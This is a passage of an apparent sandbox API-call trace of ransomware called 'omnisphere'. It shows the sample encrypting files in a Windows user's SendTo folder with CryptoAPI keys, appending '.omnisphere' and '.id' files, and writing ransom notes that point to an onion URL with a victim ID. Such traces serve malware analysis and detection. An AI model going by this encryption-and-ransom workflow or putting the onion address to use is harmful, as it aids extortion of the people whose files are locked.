lpNumberOfBytesWritten=0x3e0d25c, lpOverlapped=0x0 | out: lpBuffer=0x3e0d274*, lpNumberOfBytesWritten=0x3e0d25c*=0x524, lpOverlapped=0x0) returned 1 [0128.891] CloseHandle (hObject=0x3c0) returned 1 [0128.891] UnmapViewOfFile (lpBaseAddress=0x1480000) returned 1 [0128.892] CloseHandle (hObject=0x288) returned 1 [0128.892] SetEndOfFile (hFile=0x28c) returned 1 [0128.892] FlushFileBuffers (hFile=0x28c) returned 1 [0128.895] CloseHandle (hObject=0x28c) returned 1 [0128.895] PathRemoveFileSpecW (in: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\SendTo\\Bluetooth File Transfer.LNK" | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\SendTo") returned 1 [0128.895] GetProcessHeap () returned 0x1600000 [0128.895] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x515) returned 0x1727028 [0128.895] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0128.895] GetProcessHeap () returned 0x1600000 [0128.896] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x1f) returned 0x16fdca8 [0128.896] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x16fdca8, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="http://uu6issmbncd3wjkm.onion/", lpUsedDefaultChar=0x0) returned 30 [0128.896] lstrcatA (in: lpString1="", lpString2="http://uu6issmbncd3wjkm.onion/" | out: lpString1="http://uu6issmbncd3wjkm.onion/") returned="http://uu6issmbncd3wjkm.onion/" [0128.896] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0128.896] GetProcessHeap () returned 0x1600000 [0128.896] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x11) returned 0x1710240 [0128.896] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x1710240, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RHPZ2AXYR2V4JCIV", lpUsedDefaultChar=0x0) returned 16 [0128.896] lstrcatA (in: lpString1="http://uu6issmbncd3wjkm.onion/", lpString2="RHPZ2AXYR2V4JCIV" | out: lpString1="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV") returned="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV" [0128.896] GetProcessHeap () returned 0x1600000 [0128.896] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xb0) returned 0x16f5018 [0128.896] PathCombineW (in: pszDest=0x16f5018, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\SendTo", pszFile="!DECRYPT_OMNISPHERE.txt" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\SendTo\\!DECRYPT_OMNISPHERE.txt") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\SendTo\\!DECRYPT_OMNISPHERE.txt" [0128.896] GetProcessHeap () returned 0x1600000 [0128.896] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x589) returned 0x1714920 [0128.896] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\SendTo\\!DECRYPT_OMNISPHERE.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\sendto\\!decrypt_omnisphere.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0128.897] WriteFile (in: hFile=0x28c, lpBuffer=0x1714920*, nNumberOfBytesToWrite=0x588, lpNumberOfBytesWritten=0x3e0d7f4, lpOverlapped=0x0 | out: lpBuffer=0x1714920*, lpNumberOfBytesWritten=0x3e0d7f4*=0x588, lpOverlapped=0x0) returned 1 [0128.898] CloseHandle (hObject=0x28c) returned 1 [0128.898] GetProcessHeap () returned 0x1600000 [0128.898] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x1727028 | out: hHeap=0x1600000) returned 1 [0128.898] GetProcessHeap () returned 0x1600000 [0128.898] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xa6) returned 0x162cec8 [0128.898] PathCombineW (in: pszDest=0x162cec8, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\SendTo", pszFile="unique_decrypt.key" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\SendTo\\unique_decrypt.key") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\SendTo\\unique_decrypt.key" [0128.899] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\SendTo\\unique_decrypt.key" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\sendto\\unique_decrypt.key"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0128.899] WriteFile (in: hFile=0x28c, lpBuffer=0x1647c78*, nNumberOfBytesToWrite=0x5a0, lpNumberOfBytesWritten=0x3e0d808, lpOverlapped=0x0 | out: lpBuffer=0x1647c78*, lpNumberOfBytesWritten=0x3e0d808*=0x5a0, lpOverlapped=0x0) returned 1 [0128.900] CloseHandle (hObject=0x28c) returned 1 [0128.900] GetProcessHeap () returned 0x1600000 [0128.900] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x162cec8 | out: hHeap=0x1600000) returned 1 [0128.900] GetProcessHeap () returned 0x1600000 [0128.900] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x166ab78 | out: hHeap=0x1600000) returned 1 [0128.900] FindNextFileW (in: hFindFile=0x1639628, lpFindFileData=0x3e0daa4 | out: lpFindFileData=0x3e0daa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2111f8cb, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x2111f8cb, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xc5f90064, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x3, dwReserved0=0x0, dwReserved1=0xd3, cFileName="Compressed (zipped) Folder.ZFSendToTarget", cAlternateFileName="COMPRE~1.ZFS")) returned 1 [0128.900] GetProcessHeap () returned 0x1600000 [0128.900] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xd4) returned 0x160e0d8 [0128.901] PathCombineW (in: pszDest=0x160e0d8, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\SendTo", pszFile="Compressed (zipped) Folder.ZFSendToTarget" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\SendTo\\Compressed (zipped) Folder.ZFSendToTarget") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\SendTo\\Compressed (zipped) Folder.ZFSendToTarget" [0128.901] StrStrW (lpFirst=".omnisphere", lpSrch=".ZFSendToTarget") returned 0x0 [0128.901] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\SendTo\\Compressed (zipped) Folder.ZFSendToTarget" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\sendto\\compressed (zipped) folder.zfsendtotarget"), dwDesiredAccess=0xc0000000, dwShareMode=0x5, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0128.901] GetFileSizeEx (in: hFile=0x28c, lpFileSize=0x3e0d7cc | out: lpFileSize=0x3e0d7cc*=3) returned 1 [0128.901] GetTickCount () returned 0x1160278 [0128.901] GetTickCount () returned 0x1160278 [0128.901] GetTickCount () returned 0x1160278 [0128.901] GetTickCount () returned 0x1160278 [0128.901] GetTickCount () returned 0x1160278 [0128.901] GetTickCount () returned 0x1160278 [0128.901] GetTickCount () returned 0x1160278 [0128.901] GetTickCount () returned 0x1160278 [0128.901] GetTickCount () returned 0x1160278 [0128.901] GetTickCount () returned 0x1160278 [0128.902] GetTickCount () returned 0x1160278 [0128.902] GetTickCount () returned 0x1160278 [0128.902] GetTickCount () returned 0x1160278 [0128.902] GetTickCount () returned 0x1160278 [0128.902] GetTickCount () returned 0x1160278 [0128.902] GetTickCount () returned 0x1160278 [0128.902] GetTickCount () returned 0x1160278 [0128.902] GetTickCount () returned 0x1160278 [0128.902] GetTickCount () returned 0x1160278 [0128.902] GetTickCount () returned 0x1160278 [0128.902] GetTickCount () returned 0x1160278 [0128.902] GetTickCount () returned 0x1160278 [0128.902] GetTickCount () returned 0x1160278 [0128.902] GetTickCount () returned 0x1160278 [0128.902] GetTickCount () returned 0x1160278 [0128.902] GetTickCount () returned 0x1160278 [0128.902] GetTickCount () returned 0x1160278 [0128.902] GetTickCount () returned 0x1160278 [0128.902] GetTickCount () returned 0x1160278 [0128.902] GetTickCount () returned 0x1160278 [0128.902] GetTickCount () returned 0x1160278 [0128.902] GetTickCount () returned 0x1160278 [0128.903] CryptAcquireContextW (in: phProv=0x3e0d254, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x3e0d254*=0x16683d8) returned 1 [0128.903] CryptImportKey (in: hProv=0x16683d8, pbData=0x3e0d1bc, dwDataLen=0x94, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0d260 | out: phKey=0x3e0d260*=0x1639b28) returned 1 [0128.903] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3e0d70c*, pdwDataLen=0x3e0d250*=0x75, dwBufLen=0x80 | out: pbData=0x3e0d70c*, pdwDataLen=0x3e0d250*=0x80) returned 1 [0128.904] CryptDestroyKey (hKey=0x1639b28) returned 1 [0128.904] CryptReleaseContext (hProv=0x16683d8, dwFlags=0x0) returned 1 [0128.904] CreateFileMappingW (hFile=0x28c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x3, lpName=0x0) returned 0x288 [0128.904] MapViewOfFile (hFileMappingObject=0x288, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x3) returned 0x1480000 [0128.904] CryptAcquireContextW (in: phProv=0x3e0d244, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000040 | out: phProv=0x3e0d244*=0x16683d8) returned 1 [0128.905] CryptImportKey (in: hProv=0x16683d8, pbData=0x3e0d1fc, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0d254 | out: phKey=0x3e0d254*=0x16394e8) returned 1 [0128.905] CryptSetKeyParam (hKey=0x16394e8, dwParam=0x4, pbData=0x3e0d238*=0x2, dwFlags=0x0) returned 1 [0128.905] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x3e0d240*=0x10, dwBufLen=0x10 | out: pbData=0x0*, pdwDataLen=0x3e0d240*=0x10) returned 1 [0128.905] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0128.906] CryptDestroyKey (hKey=0x16394e8) returned 1 [0128.906] CryptReleaseContext (hProv=0x16683d8, dwFlags=0x0) returned 1 [0128.906] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x3, lpNewFilePointer=0x0, dwMoveMethod=0x3e0d7c0 | out: lpNewFilePointer=0x0) returned 1 [0128.906] WriteFile (in: hFile=0x28c, lpBuffer=0x3e0d274*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0d7d4, lpOverlapped=0x0 | out: lpBuffer=0x3e0d274*, lpNumberOfBytesWritten=0x3e0d7d4*=0x524, lpOverlapped=0x0) returned 1 [0128.908] GetProcessHeap () returned 0x1600000 [0128.908] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x2e4) returned 0x1727028 [0128.908] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\SendTo\\Compressed (zipped) Folder.ZFSendToTarget" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\sendto\\compressed (zipped) folder.zfsendtotarget"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\SendTo\\Compressed (zipped) Folder.ZFSendToTarget.omnisphere" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\sendto\\compressed (zipped) folder.zfsendtotarget.omnisphere")) returned 1 [0128.909] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\SendTo\\Compressed (zipped) Folder.ZFSendToTarget.omnisphere", lpString2=".id" | out: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\SendTo\\Compressed (zipped) Folder.ZFSendToTarget.omnisphere.id") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\SendTo\\Compressed (zipped) Folder.ZFSendToTarget.omnisphere.id" [0128.909] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\SendTo\\Compressed (zipped) Folder.ZFSendToTarget.omnisphere.id" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\sendto\\compressed (zipped) folder.zfsendtotarget.omnisphere.id"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0128.911] WriteFile (in: hFile=0x3c0, lpBuffer=0x3e0d274*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0d25c, lpOverlapped=0x0 | out: lpBuffer=0x3e0d274*, lpNumberOfBytesWritten=0x3e0d25c*=0x524, lpOverlapped=0x0) returned 1 [0128.912] CloseHandle (hObject=0x3c0) returned 1 [0128.912] UnmapViewOfFile (lpBaseAddress=0x1480000) returned 1 [0128.912] CloseHandle (hObject=0x288) returned 1 [0128.912] SetEndOfFile (hFile=0x28c) returned 1 [0128.912] FlushFileBuffers (hFile=0x28c) returned 1 [0128.916] CloseHandle (hObject=0x28c) returned 1 [0128.916] PathRemoveFileSpecW (in: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\SendTo\\Compressed (zipped) Folder.ZFSendToTarget" | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\SendTo") returned 1 [0128.916] GetProcessHeap () returned 0x1600000 [0128.916] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x515) returned 0x1727318 [0128.916] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0128.916] GetProcessHeap () returned 0x1600000 [0128.917] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x1f) returned 0x16fdcd0 [0128.917] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x16fdcd0, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="http://uu6issmbncd3wjkm.onion/", lpUsedDefaultChar=0x0) returned 30 [0128.917] lstrcatA (in: lpString1="", lpString2="http://uu6issmbncd3wjkm.onion/" | out: lpString1="http://uu6issmbncd3wjkm.onion/") returned="http://uu6issmbncd3wjkm.onion/" [0128.917] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0128.917] GetProcessHeap () returned 0x1600000 [0128.917] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x11) returned 0x1710380 [0128.917] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x1710380, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RHPZ2AXYR2V4JCIV", lpUsedDefaultChar=0x0) returned 16 [0128.917] lstrcatA (in: lpString1="http://uu6issmbncd3wjkm.onion/", lpString2="RHPZ2AXYR2V4JCIV" | out: lpString1="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV") returned="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV" [0128.917] GetProcessHeap () returned 0x1600000 [0128.917] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xb0) returned 0x16f5690 [0128.917] PathCombineW (in: pszDest=0x16f5690, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\SendTo", pszFile="!DECRYPT_OMNISPHERE.txt" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\SendTo\\!DECRYPT_OMNISPHERE.txt") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\SendTo\\!DECRYPT_OMNISPHERE.txt" [0128.917] GetProcessHeap () returned 0x1600000 [0128.917] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x589) returned 0x1717760 [0128.917] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\SendTo\\!DECRYPT_OMNISPHERE.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\sendto\\!decrypt_omnisphere.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0128.918] WriteFile (in: hFile=0x28c, lpBuffer=0x1717760*, nNumberOfBytesToWrite=0x588, lpNumberOfBytesWritten=0x3e0d7f4, lpOverlapped=0x0 | out: lpBuffer=0x1717760*, lpNumberOfBytesWritten=0x3e0d7f4*=0x588, lpOverlapped=0x0) returned 1 [0128.918] CloseHandle (hObject=0x28c) returned 1 [0128.918] GetProcessHeap () returned 0x1600000 [0128.918] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x1727318 | out: hHeap=0x1600000) returned 1 [0128.918] GetProcessHeap () returned 0x1600000 [0128.918] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xa6) returned 0x162cec8 [0128.918] PathCombineW (in: pszDest=0x162cec8, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\SendTo", pszFile="unique_decrypt.key" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\SendTo\\unique_decrypt.key") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\SendTo\\unique_decrypt.key" [0128.918] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\SendTo\\unique_decrypt.key" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\sendto\\unique_decrypt.key"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0128.919] WriteFile (in: hFile=0x28c, lpBuffer=0x1647c78*, nNumberOfBytesToWrite=0x5a0, lpNumberOfBytesWritten=0x3e0d808, lpOverlapped=0x0 | out: lpBuffer=0x1647c78*, lpNumberOfBytesWritten=0x3e0d808*=0x5a0, lpOverlapped=0x0) returned 1 [0128.919] CloseHandle (hObject=0x28c) returned 1 [0128.919] GetProcessHeap () returned 0x1600000 [0128.919] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x162cec8 | out: hHeap=0x1600000) returned 1 [0128.919] GetProcessHeap () returned 0x1600000 [0128.919] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x160e0d8 | out: hHeap=0x1600000) returned 1 [0128.919] FindNextFileW (in: hFindFile=0x1639628, lpFindFileData=0x3e0daa4 | out: lpFindFileData=0x3e0daa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2111f8cb, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x2111f8cb, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xc5f90064, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x7, dwReserved0=0x0, dwReserved1=0xd3, cFileName="Desktop (create shortcut).DeskLink", cAlternateFileName="DESKTO~1.DES")) returned 1 [0128.919] GetProcessHeap () returned 0x1600000 [0128.919] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xc6) returned 0x162c458 [0128.919] PathCombineW (in: pszDest=0x162c458, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\SendTo", pszFile="Desktop (create shortcut).DeskLink" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\SendTo\\Desktop (create shortcut).DeskLink") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\SendTo\\Desktop (create shortcut).DeskLink" [0128.920] StrStrW (lpFirst=".omnisphere", lpSrch=".DeskLink") returned 0x0 [0128.920] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\SendTo\\Desktop (create shortcut).DeskLink" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\sendto\\desktop (create shortcut).desklink"), dwDesiredAccess=0xc0000000, dwShareMode=0x5, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0128.920] GetFileSizeEx (in: hFile=0x28c, lpFileSize=0x3e0d7cc | out: lpFileSize=0x3e0d7cc*=7) returned 1 [0128.920] GetTickCount () returned 0x1160288 [0128.920] GetTickCount () returned 0x1160288 [0128.920] GetTickCount () returned 0x1160288 [0128.921] GetTickCount () returned 0x1160288 [0128.921] GetTickCount () returned 0x1160288 [0128.921] GetTickCount () returned 0x1160288 [0128.921] GetTickCount () returned 0x1160288 [0128.921] GetTickCount () returned 0x1160288 [0128.921] GetTickCount () returned 0x1160288 [0128.921] GetTickCount () returned 0x1160288 [0128.921] GetTickCount () returned 0x1160288 [0128.921] GetTickCount () returned 0x1160297 [0128.921] GetTickCount () returned 0x1160297 [0128.921] GetTickCount () returned 0x1160297 [0128.921] GetTickCount () returned 0x1160297 [0128.921] GetTickCount () returned 0x1160297 [0128.921] GetTickCount () returned 0x1160297 [0128.921] GetTickCount () returned 0x1160297 [0128.921] GetTickCount () returned 0x1160297 [0128.921] GetTickCount () returned 0x1160297 [0128.921] GetTickCount () returned 0x1160297 [0128.921] GetTickCount () returned 0x1160297 [0128.921] GetTickCount () returned 0x1160297 [0128.921] GetTickCount () returned 0x1160297 [0128.921] GetTickCount () returned 0x1160297 [0128.921] GetTickCount () returned 0x1160297 [0128.922] GetTickCount () returned 0x1160297 [0128.922] GetTickCount () returned 0x1160297 [0128.922] GetTickCount () returned 0x1160297 [0128.922] GetTickCount () returned 0x1160297 [0128.922] GetTickCount () returned 0x1160297 [0128.922] GetTickCount () returned 0x1160297 [0128.922] CryptAcquireContextW (in: phProv=0x3e0d254, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x3e0d254*=0x16683d8) returned 1 [0128.923] CryptImportKey (in: hProv=0x16683d8, pbData=0x3e0d1bc, dwDataLen=0x94, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0d260 | out: phKey=0x3e0d260*=0x1639b28) returned 1 [0128.923] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3e0d70c*, pdwDataLen=0x3e0d250*=0x75, dwBufLen=0x80 | out: pbData=0x3e0d70c*, pdwDataLen=0x3e0d250*=0x80) returned 1 [0128.923] CryptDestroyKey (hKey=0x1639b28) returned 1 [0128.923] CryptReleaseContext (hProv=0x16683d8, dwFlags=0x0) returned 1 [0128.923] CreateFileMappingW (hFile=0x28c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x7, lpName=0x0) returned 0x288 [0128.923] MapViewOfFile (hFileMappingObject=0x288, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x7) returned 0x1480000 [0128.923] CryptAcquireContextW (in: phProv=0x3e0d244, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000040 | out: phProv=0x3e0d244*=0x1668d68) returned 1 [0128.924] CryptImportKey (in: hProv=0x1668d68, pbData=0x3e0d1fc, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0d254 | out: phKey=0x3e0d254*=0x16394e8) returned 1 [0128.924] CryptSetKeyParam (hKey=0x16394e8, dwParam=0x4, pbData=0x3e0d238*=0x2, dwFlags=0x0) returned 1 [0128.924] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x3e0d240*=0x10, dwBufLen=0x10 | out: pbData=0x0*, pdwDataLen=0x3e0d240*=0x10) returned 1 [0128.924] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0128.925] CryptDestroyKey (hKey=0x16394e8) returned 1 [0128.925] CryptReleaseContext (hProv=0x1668d68, dwFlags=0x0) returned 1 [0128.925] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x7, lpNewFilePointer=0x0, dwMoveMethod=0x3e0d7c0 | out: lpNewFilePointer=0x0) returned 1 [0128.925] WriteFile (in: hFile=0x28c, lpBuffer=0x3e0d274*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0d7d4, lpOverlapped=0x0 | out: lpBuffer=0x3e0d274*, lpNumberOfBytesWritten=0x3e0d7d4*=0x524, lpOverlapped=0x0) returned 1 [0128.927] GetProcessHeap () returned 0x1600000 [0128.927] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x2d6) returned 0x1727318 [0128.927] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\SendTo\\Desktop (create shortcut).DeskLink" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\sendto\\desktop (create shortcut).desklink"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\SendTo\\Desktop (create shortcut).DeskLink.omnisphere" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\sendto\\desktop (create shortcut).desklink.omnisphere")) returned 1 [0128.928] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\SendTo\\Desktop (create shortcut).DeskLink.omnisphere", lpString2=".id" | out: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\SendTo\\Desktop (create shortcut).DeskLink.omnisphere.id") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\SendTo\\Desktop (create shortcut).DeskLink.omnisphere.id" [0128.928] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\SendTo\\Desktop (create shortcut).DeskLink.omnisphere.id" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\sendto\\desktop (create 